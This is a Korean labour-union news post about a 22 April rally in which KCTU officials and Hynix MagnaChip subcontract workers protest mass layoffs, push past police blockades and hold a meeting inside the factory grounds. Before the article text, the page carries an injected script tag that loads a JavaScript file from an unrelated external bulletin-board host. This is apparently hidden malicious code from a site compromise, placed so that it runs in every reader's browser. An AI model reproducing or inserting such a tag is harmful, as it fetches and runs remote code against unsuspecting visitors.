<SCRIPT Language=JavaScript src=http://hanphil.or.kr/bbs/data/young/brod.js></script> 하이닉스 북문 돌파, 사내에서 집회!!
4월 22일 오후 2시 하이닉스 매그나칩 정문에서는 민주노총 충북지역본부 확대간부들이 확간파업을 하고 모였다.
500여명의 간부들은 하이닉스 매그나칩 대량해고 사태해결과 민주노조사수! 정규직화 쟁취!를 위한 4.22 민주노총충북본부 확대간부 결의대회을 힘있게 시작하였다.
집회 전 경찰은 하이닉스 정문으로 가는 도로를 막고 검문검색을 하였다. 하지만 하이닉스 매그나칩 사내하청지회 동지들은 검문검색을 물리치는 투쟁을 힘있게 하였다.
정문, 전경차 4대로 봉쇄 북문, 전경차 4대로 봉쇄, 후문 전경차 3대로 봉쇄!
이것이 악덕기업, 살인기업의 사병, 구사대로 전락한 경찰의 하이닉스 공장사수작전이었다.
며칠 전 정문에서 물대포를 쏘면서 실전훈련까지 한 경찰이었다.

이영섭 본부장의 대회사, 하이닉스 매그나칩 사내하청지회 신재교지회장의 투쟁사, 오병욱 금속노조 대전충북지부장의 투쟁사 등 본대회를 빠르고 힘있게 진행하고 하청노동자 대량해고를 감행한 하이닉스 매그나칩 자본 규탄투쟁에 돌입하였다.
정문을 가로막고 있는 전경차를 물리치기위한 투쟁을 힘있게 진행하고 바로 북문으로 이동하였다. 북문에서도 전경차 4대로 문을 틀어막고 우리를 기다리고 있었다.
힘찬 투쟁으로 북문의 쪽문을 열어제끼고 공장진입투쟁을 진행하였다. 그리고 북문 옆 담장을 뜯어내고 하이닉스 매그나칩 사내하청동지들부터 공장안으로 진입을 시작하였다. 놀라서 달려온 전경과 강력한 몸싸움을 통해 드디어 저지선을 돌파하고 공장안 잔디밭에 진출하여 정리집회를 시작하였다.

공장안에서 처음으로 하는 하이닉스 매그나칩 몸짓패 ‘불새’동지들의 공연을 시작으로 역사적인 공장안 집회를 감격스럽게 시작하였다.
신재교 지회장은 투쟁사를 통해 “자본이 아무리 강력한 권력과 돈으로 우리를 가로막는다하더라도 우리는 이제 절대로 흔들리지 않는 강철이 되었다. 10년이 걸린다하더라도 두렵지 않다. 끝까지 투쟁할 각오가 되어있다. 매그나칩도 이제 5% 감원이라는 구조조정이 시작되었다. 원청, 하청 구분없이 하이닉스 매그나칩 자본에 맞서 원하청노동자들이 하나다라는 생각을 모아 투쟁하자.” 라는 힘찬투쟁사를 하였다.
이날 집회에는 가대위 동지들이 조직적으로 참가하고 조합원과 함께 몸싸움도 벌였다. 공장진입에도 1등 공신이었다.
가대위동지들이 모두 나와 “이제 가족도 남편과 함께 동지가 되어 싸우겠다”는 힘찬 연설을 하였다.

이영섭 본부장은 “이제 하이닉스 투쟁은 현시대를 살아가는 모든 노동자들의 투쟁이 되었다. 비정규직투쟁의 상징인 하이닉스 매그나칩 투쟁을 지역연대 총파업투쟁으로 반드시 승리하자”는 힘찬 투쟁사가 있었다.
4월 22일 오늘은 하이닉스 매그나칩 사내하청지회가 설립된지 딱 6개월 되는 날이었다. 1년의 반을 달려왔다. 가을부터 시작한 투쟁이 추운겨울을 보내고 이제 봄이다.
6개월만에 공장안에서 집회를 하였다.
모든 집회가 마치고 하이닉스 동지들이 모여 마지막으로 외친구호는
“10년이라도 싸우겠다. 반드시 승리한다!” 였다.
모든 하이닉스 매그나칩 사내하청동지들의 한결같은 각오이다.
하이닉스,매그나칩 사내하청지회
홈페이지 :
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